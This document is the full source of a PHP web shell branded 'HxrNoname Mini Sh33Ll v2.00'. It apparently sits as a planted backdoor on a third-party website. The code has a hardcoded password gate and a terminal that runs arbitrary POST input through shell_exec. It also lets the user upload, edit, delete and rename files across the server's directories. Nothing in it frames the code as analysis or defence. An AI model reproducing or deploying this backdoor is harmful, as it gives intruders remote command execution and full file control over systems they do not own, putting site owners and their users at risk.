File "noname.php"

Full path: /var/www/html/chefsdelights.in/adc4d4/noname.php
File size: 0.02 KB (15.69 KB bytes)
MIME-type: text/x-php
Charset: utf-8

Download   Open   Edit   Advanced Editor   Back

<?php
ob_start();
session_start();
define('PASSWORD', 'th3b45t4rd'); 
// Proses login
if (isset($_POST['password'])) {
    if ($_POST['password'] === PASSWORD) {
        $_SESSION['authenticated'] = true;
        echo '<audio autoplay><source src="https://e.top4top.io/m_3437wq49m0.mp3" type="audio/mpeg"></audio>';
    } else {
    
    }
}

// Proses logout
if (isset($_POST['logout'])) {
    session_destroy();
    header("Location: " . $_SERVER['PHP_SELF']);
    exit;
}

if (!isset($_SESSION['authenticated']) || !$_SESSION['authenticated']) {
    // Tampilkan form login jika belum terautentikasi
    echo '
<!DOCTYPE html>
<html lang="id">
<head>
<meta charset="UTF-8">
<title>Hxr Noname Mini Filemanager</title>

<style>
body {
    background: linear-gradient(135deg, #F5FFFA 50%, #000000 50%);
    color: #FFFFFF;
    height: 100vh;
    margin: 0;
    display: flex;
    justify-content: center;
    align-items: center;
    font-family: Arial, sans-serif;
}

.login-card {
    border-radius: 12px;
    padding: 25px;
    max-width: 500px;
    width: 100%;
    text-align: center;
    background: radial-gradient(circle, rgba(255,0,0,0.35) 0%, rgba(0,0,0,0.9) 70%);
    box-shadow: 0 0 25px rgb(255,255,255);
}

/* === BORDER GAMBAR (WARNA ASLI PUTIH) === */
.login-card img {
    width: 100%;
    max-width: 420px;
    margin: 25px auto;
    display: block;
    border-radius: 12px;

    border: 6px solid #FFFFFF;

    box-shadow:
        0 0 15px #FFFFFF,
        0 0 30px #FFFFFF,
        0 0 45px #FFFFFF,
        0 0 70px #FFFFFF,
        0 0 100px rgb(255, 255, 255);

    animation: glowPulse 1.5s infinite alternate;
}

@keyframes glowPulse {
    0% {
        box-shadow:
            0 0 20px #FFFFFF,
            0 0 50px #FFFFFF;
    }
    100% {
        box-shadow:
            0 0 40px #FFFFFF,
            0 0 120px #FFFFFF;
    }
}

.notice {
    color: #FFFFFF;
    font-size: 20px;
    text-align: justify;
    line-height: 1.6;
    margin: 20px 0;
}

.form-group {
    margin-bottom: 15px;
}

input[type=password] {
    width: 80%;
    padding: 17px;
    text-align: center;
    border-radius: 6px;
    border: none;
}

button {
    width: 70%;
    padding: 17px;
    background: #FFFFFC;
    text-align: center;
    border-radius: 6px;
    border: none;
    font-weight: bold;
    cursor: pointer;
}

footer {
    margin-top: 30px;
    color: #0FF;
    font-size: 13px;
}
</style>
</head>

<body>
<div class="login-card">
        
<img src="https://e.top4top.io/p_36919teqs0.jpg" alt="Banner Image"
</div>
<form method="post">
    <div class="form-group">
        <label> </label><br><br>
        <input type="password" name="password" placeholder="password" required>
   </div>
    <button type="submit">Warning Cyber Crime!</button>
</form>

<footer>
<h1>𝗛𝘅𝗿𝗡𝗼𝗻𝗮𝗺𝗲 𝗖𝘆𝗯𝗲𝗿 𝗦𝗲𝗰𝘂𝗿𝗶𝘁𝘆<h1>
</footer>

</div>';
    exit;
}

?>
<?php
// Tangani direktori saat ini lewat parameter get "dir"
if (isset($_GET['dir'])) {
    $dir = realpath($_GET['dir']);
    if ($dir === false || !is_dir($dir)) {
        $dir = realpath(__DIR__);
    }
} else {
    $dir = realpath(__DIR__);
}

$message = '';

function safeName($name) {
    return preg_replace('/[^a-zA-Z0-9_\-\.]/', '', $name);
}

// --- Terminal Shell ---
$terminalOutput = '';
if (isset($_POST['cmd']) && !empty($_POST['cmd'])) {
    $cmd = $_POST['cmd'];
    // Eksekusi perintah shell
    $terminalOutput = shell_exec($cmd . ' 2>&1');
}

// CREATE FOLDER
if (isset($_POST['newfolder']) && trim($_POST['newfolder']) !== '') {
    $folderName = safeName(trim($_POST['newfolder']));
    if ($folderName && !file_exists("$dir/$folderName")) {
        if (@mkdir("$dir/$folderName")) {
            $message = "Folder '$folderName' berhasil dibuat.";
        } else {
            $message = "Gagal membuat folder '$folderName'.";
        }
    } else {
        $message = "Nama folder tidak valid atau sudah ada.";
    }
}

// CREATE FILE
if (isset($_POST['newfile']) && trim($_POST['newfile']) !== '') {
    $fileName = safeName(trim($_POST['newfile']));
    $filePath = "$dir/$fileName";
    if ($fileName && !file_exists($filePath)) {
        if (file_put_contents($filePath, "") !== false) {
            $message = "File '$fileName' berhasil dibuat.";
        } else {
            $message = "Gagal membuat file '$fileName'.";
        }
    } else {
        $message = "Nama file tidak valid atau sudah ada.";
    }
}

// DELETE FILE/FOLDER
if (isset($_GET['delete'])) {
    $deleteName = safeName($_GET['delete']);
    $deletePath = "$dir/$deleteName";
    if (file_exists($deletePath)) {
        if (is_dir($deletePath)) {
            if (@rmdir($deletePath)) {
                $message = "Folder '$deleteName' berhasil dihapus.";
            } else {
                $message = "Folder '$deleteName' tidak kosong atau gagal dihapus.";
            }
        } else {
            if (@unlink($deletePath)) {
                $message = "File '$deleteName' berhasil dihapus.";
            } else {
                $message = "Gagal menghapus file '$deleteName'.";
            }
        }
    } else {
        $message = "File/folder tidak ditemukan.";
    }
}

// RENAME FILE/FOLDER
if (isset($_POST['rename_old']) && isset($_POST['rename_new'])) {
    $oldName = safeName($_POST['rename_old']);
    $newName = safeName($_POST['rename_new']);
    $oldPath = "$dir/$oldName";
    $newPath = "$dir/$newName";

    if ($oldName && $newName && file_exists($oldPath) && !file_exists($newPath)) {
        if (@rename($oldPath, $newPath)) {
            $message = "Berhasil rename '$oldName' menjadi '$newName'.";
        } else {
            $message = "Gagal rename.";
        }
    } else {
        $message = "Nama baru sudah ada, tidak valid, atau file lama tidak ditemukan.";
    }
}

// EDIT FILE - Simpan perubahan
if (isset($_POST['edit_file']) && isset($_POST['edit_content'])) {
    $editFile = safeName($_POST['edit_file']);
    $editPath = "$dir/$editFile";
    if (file_exists($editPath) && is_file($editPath)) {
        if (file_put_contents($editPath, $_POST['edit_content']) !== false) {
            $message = "File '$editFile' berhasil disimpan.";
        } else {
            $message = "Gagal menyimpan file.";
        }
    } else {
        $message = "File tidak ditemukan.";
    }
}

// UPLOAD FILE
if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] === UPLOAD_ERR_OK) {
    $uploadName = basename($_FILES['upload_file']['name']);
    $uploadName = safeName($uploadName);
    $uploadPath = "$dir/$uploadName";

    if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $uploadPath)) {
        $message = "File '$uploadName' berhasil diupload ke folder saat ini.";
    } else {
        $message = "Gagal upload file.";
    }
}

// Jika ingin edit, ambil isi file dulu
$editFile = null;
$editContent = '';
if (isset($_GET['edit'])) {
    $editFile = safeName($_GET['edit']);
    $editPath = "$dir/$editFile";
    if (file_exists($editPath) && is_file($editPath)) {
        $editContent = file_get_contents($editPath);
    } else {
        $editFile = null;
        $message = "File untuk diedit tidak ditemukan.";
    }
}

$files = scandir($dir);
$parentDir = dirname($dir);

// Fungsi buat breadcrumb
function makeBreadcrumb($dir) {
    $parts = explode(DIRECTORY_SEPARATOR, $dir);
    $path = '';
    $breadcrumbs = [];
    if (DIRECTORY_SEPARATOR === '\\') {
        $drive = array_shift($parts);
        $path = $drive . DIRECTORY_SEPARATOR;
        $breadcrumbs[] = ['name' => $drive, 'path' => $path];
    } else {
        $breadcrumbs[] = ['name' => '/', 'path' => DIRECTORY_SEPARATOR];
    }
    foreach ($parts as $part) {
        if ($part === '') continue;
        $path = rtrim($path, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $part;
        $breadcrumbs[] = ['name' => $part, 'path' => $path];
    }
    return $breadcrumbs;
}
?>

<!DOCTYPE html>
<html lang="id">
<head>
<meta charset="UTF-8" />
<title>HxrNoname Mini V2.00</title>
<style>
 body {
    margin: auto;
    background: #808080;
    color: #0ff;
    font-family: monospace;
    padding: 2rem;
    max-width: 900px;
    margin: auto; 100%
      }
  h3 {
    color: #fffff;
    text-align: center;
  }
  table {
    width: 100%;
    border-collapse: collapse;
    margin-bottom: 1rem;
  }
  th, td {
    border: 1px solid #fffff;
    padding: 6px 10px;
    text-align: left;
  }
  th {
    background: #000000;
  }
  tr:nth-child(even) {
    background: #fffff;
  }
  a {
    color: #0ff;
    text-decoration: #;
  }
  a:hover {
    text-decoration: underline;
  }
  form {
    margin-bottom: 1rem;
    display: flex;
    gap: 1rem;
  }
  input[type=text], textarea {
    background: #fffff;
    border: 1px solid #background:linear-gradient(45deg, #00fff7, #ff00d4); color:#000; font-weight:bold; padding:0.4rem 0.8rem; border:none; border-radius:4px;
    color: #000000;
    padding: 0.5rem 1rem;
    border-radius: 8px;
    outline: none;
    font-family: monospace;
  }
  input[type=text] {
    flex-grow: 1px;
  }
  button {
    background: linear-gradient(135deg, #F5FFFA 50%, #000000 50%);
    padding: 0.6rem 1.2rem;
    border-radius: 8px;
    color: #0ff;
    font-weight: bold;
    padding: 1rem 1rem;
    border-radius: 8px;
    cursor: pointer;
  }
  textarea {
    width: 100%;
    height: 300px;
    resize: vertical;
  }
  .msg {
    margin-bottom: 1rem;
    color: #0ff;
  }
  .actions form {
    display: inline-block;
    margin: 0;
  }
  form.upload-form {
    margin-bottom: 1.5rem;
    display: flex;
    align-items: center;
    gap: 1rem;
  }
  form.upload-form label[for="upload_file"] {
    background: linear-gradient(135deg, #F5FFFA 50%, #000000 50%);
    padding: 0.6rem 1.2rem;
    border-radius: 8px;
    color: #0ff;
    font-weight: bold;
    cursor: pointer;
    user-select: none;
  }
  form.upload-form input[type="file"] {
    display: none;
  }
  form.upload-form #file_name {
    color: #0ff;
    font-style: italic;
    min-width: 200px;
  }
  nav.breadcrumb {
    margin-bottom: 1.5rem;
    font-size: 1rem;
  }
  nav.breadcrumb a {
    color: #0ff;
    text-decoration: none;
    margin-right: 1,5rem;
  }
  nav.breadcrumb a:hover {
    text-decoration: underline;
  }
  nav.breadcrumb span.separator {
    margin-right: 1,5rem;
    color: #ffffff;
  }
  .terminal-box {
    margin: 2rem; 0
    background: #fffff;
    padding: 1,rem;
    border: 1px solid #fffff;
    border-radius: 8px;
  }
  .terminal-output {
    color: #0ff;
    background: #000000;
    padding: 1 rem;
    border-radius: 4px;
    overflow-x: auto;
    white-space: pre-wrap;
    margin-top: 0 rem;
  }
</style>
</head>
<body>
<center><img src="https://a.top4top.io/p_369257s6z0.png"
<title><h1>"HxNoname Mini v2.00"</h1>

<?php if($message): ?>
  <div class="msg"><?= htmlspecialchars($message) ?></div>
<?php endif; ?>

<!-- Breadcrumb direktori -->
<nav class="breadcrumb">
  <?php
  $breadcrumbs = makeBreadcrumb($dir);
  $lastIndex = count($breadcrumbs) - 1;
  foreach ($breadcrumbs as $i => $crumb) {
      if ($i !== $lastIndex) {
          echo '<a href="?dir=' . urlencode($crumb['path']) . '">' . htmlspecialchars($crumb['name']) . '</a><span class="separator">/</span>';
      } else {
          echo '<span>' . htmlspecialchars($crumb['name']) . '</span>';
      }
  }
  ?>
</nav>

<?php if (!$editFile): ?>
<!-- Terminal Shell -->
<div class="terminal-box">
  <form method="post" style="display: flex; gap: 0.5rem; margin-bottom: 0.75rem;">
    <span style="color:#0ff;">user@shell:</span>
    <span style="color:#00fff7;"><?php echo htmlspecialchars(basename($dir)); ?>$</span>
    <input type="text" name="cmd" placeholder="Masukkan perintah (misal: ls -la, whoami, pwd)..." style="background:#000; color:#0ff; border:1px solid #00fff7; flex-grow:1; padding:0.4rem;" autocomplete="off" />
    <button type="submit" style="background: linear-gradient(135deg, #F5FFFA 50%, #000000 50%) font-weight:bold; padding:0.4rem 0.8rem; border:none; border-radius:4px;">Jalankan</button>
  </form>
  <?php if ($terminalOutput !== ''): ?>
    <pre class="terminal-output"><?= htmlspecialchars($terminalOutput) ?></pre>
  <?php endif; ?>
</div>
<?php endif; ?>

<?php if ($editFile): ?>
  <form method="post">
    <input type="hidden" name="edit_file" value="<?= htmlspecialchars($editFile) ?>" />
    <textarea name="edit_content"><?= htmlspecialchars($editContent) ?></textarea>
    <button type="submit">Simpan File</button>
    <a href="<?= $_SERVER['PHP_SELF'] . '?dir=' . urlencode($dir) ?>" style="color:#ff00d4; margin-left: 1rem;">Batal</a>
  </form>
<?php else: ?>

<form method="post" style="margin-bottom:1rem;">
  <input type="text" name="newfolder" placeholder="Nama folder baru..." autocomplete="off" />
  <button type="submit">Buat Folder</button>
</form>

<form method="post" style="margin-bottom:1.5rem;">
  <input type="text" name="newfile" placeholder="Nama file baru..." autocomplete="off" />
  <button type="submit">Buat File</button>
</form>

<!-- Upload File -->
<form method="post" enctype="multipart/form-data" class="upload-form">
  <label for="upload_file">Pilih File</label>
  <input type="file" name="upload_file" id="upload_file" required />
  <span id="file_name">Belum ada file dipilih</span>
  <button type="submit">Upload File</button>
</form>

<table>
  <thead>
    <tr>
      <th>Nama</th>
      <th>Tipe</th>
      <th>Ukuran (Bytes)</th>
      <th>Aksi</th>
    </tr>
  </thead>
  <tbody>
    <?php foreach ($files as $file): ?>
      <?php if ($file === '.') continue; ?>
      <tr>
        <td>
          <?php if (is_dir("$dir/$file")): ?>
            <a href="?dir=<?= urlencode(realpath("$dir/$file")) ?>"><?= htmlspecialchars($file) ?></a>
          <?php else: ?>
            <?= htmlspecialchars($file) ?>
          <?php endif; ?>
        </td>
        <td><?= is_dir("$dir/$file") ? '<b>Folder</b>' : 'File' ?></td>
        <td><?= is_file("$dir/$file") ? filesize("$dir/$file") : '-' ?></td>
        <td class="actions" style="white-space: nowrap;">
          <?php if ($file !== '..'): ?>
          <?php if (!is_dir("$dir/$file")): ?>
          <a href="?edit=<?= urlencode($file) . '&dir=' . urlencode($dir) ?>">Edit</a> |
          <?php else: ?>
          -
          <?php endif; ?>
          <a href="?delete=<?= urlencode($file) . '&dir=' . urlencode($dir) ?>" onclick="return confirm('Yakin ingin hapus <?= htmlspecialchars($file) ?>?')">Delete</a> |
          <form method="post" style="display:inline;">
            <input type="hidden" name="rename_old" value="<?= htmlspecialchars($file) ?>" />
            <input type="text" name="rename_new" placeholder="Nama baru" required style="width: 120px;" />
            <button type="submit" title="Rename">Rename</button>
          </form>
          <?php else: ?>
            -
          <?php endif; ?>
        </td>
      </tr>
    <?php endforeach; ?>
  </tbody>
</table>

<?php endif; ?>

<footer style="text-align:center; color:#0ff; margin-top:3rem;">
  HxrNoname Mini Sh33Ll v2.00 ~ Art Of Magic Physic
</footer>

<script>
  const inputFile = document.getElementById('upload_file');
  const fileNameSpan = document.getElementById('file_name');
  inputFile.addEventListener('change', () => {
    if (inputFile.files.length > 0) {
      fileNameSpan.textContent = inputFile.files[0].name;
    } else {
      fileNameSpan.textContent = 'Belum ada file dipilih';
    }
  });
</script>

</body>
</html>